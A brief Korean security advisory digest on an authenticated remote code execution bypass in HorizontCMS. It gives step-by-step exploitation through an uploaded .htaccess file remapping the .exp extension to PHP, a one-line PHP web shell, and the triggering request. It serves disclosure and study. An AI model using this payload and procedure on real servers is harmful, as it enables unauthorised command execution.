[하루한줄] HorizontCMS 원격 코드 실행 취약점
URL
[BugHunt] Authenticated RCE found in HorizontCMS — Part 2 (PHP Filetype Bypass)
Target
- HorizontCMS
Explain
오픈소스 컨텐츠 관리 시스템인 HorizontCMS에서 기존 파일 업로드 취약점(CVE-2020–27387) 패치에 대한 우회가 발견되어 세부 정보가 공개되었습니다.
기존 파일 업로드 취약점은 .php
, .php5
, .php7
, .phtml
, .inc
와 같은 확장명이 포함된 파일 업로드를 제한하는 것으로 패치되었지만 설정 파일인 .htaccess
필터링을 하지 않아 PHP file type을 변경한 우회 공격이 가능합니다.
해당 취약점을 이용해 임의 코드를 실행하는 방법은 다음과 같습니다.
- admin 페이지의 Media → Files에서
test2.htaccess
파일을 업로드합니다. 해당 파일의 내용은 아래와 같습니다.AddType application/x-httpd-php .exp
- 파일 rename 기능을 이용해
test2.htaccess
파일의 이름을.htaccess
로 변경합니다. - 아래와 같이 임의 코드를 실행할 수 있게 해주는 내용이 포함된
test2.php
파일을 업로드 한 뒤 파일 이름을test.exp
로 변경합니다.<?php system($_GET['cmd']); ?>
- 1, 2에서 업로드한
.htaccess
로 인해.exp
확장자가 php로 실행됩니다. 따라서test.exp
에 접근해 임의 코드를 실행할 수 있습니다.
http://<HorizontCMS IP>/storage/test.exp?cmd=id
취약점 제보자는 악성 플러그인을 악용한 원격 코드 실행 취약점의 관련 정보 또한 공개하였으며 https://infosecwriteups.com/bughunt-authenticated-rce-found-in-horizontcms-part-1-malicious-plugins-72846f4ab6fe 에서 확인할 수 있습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.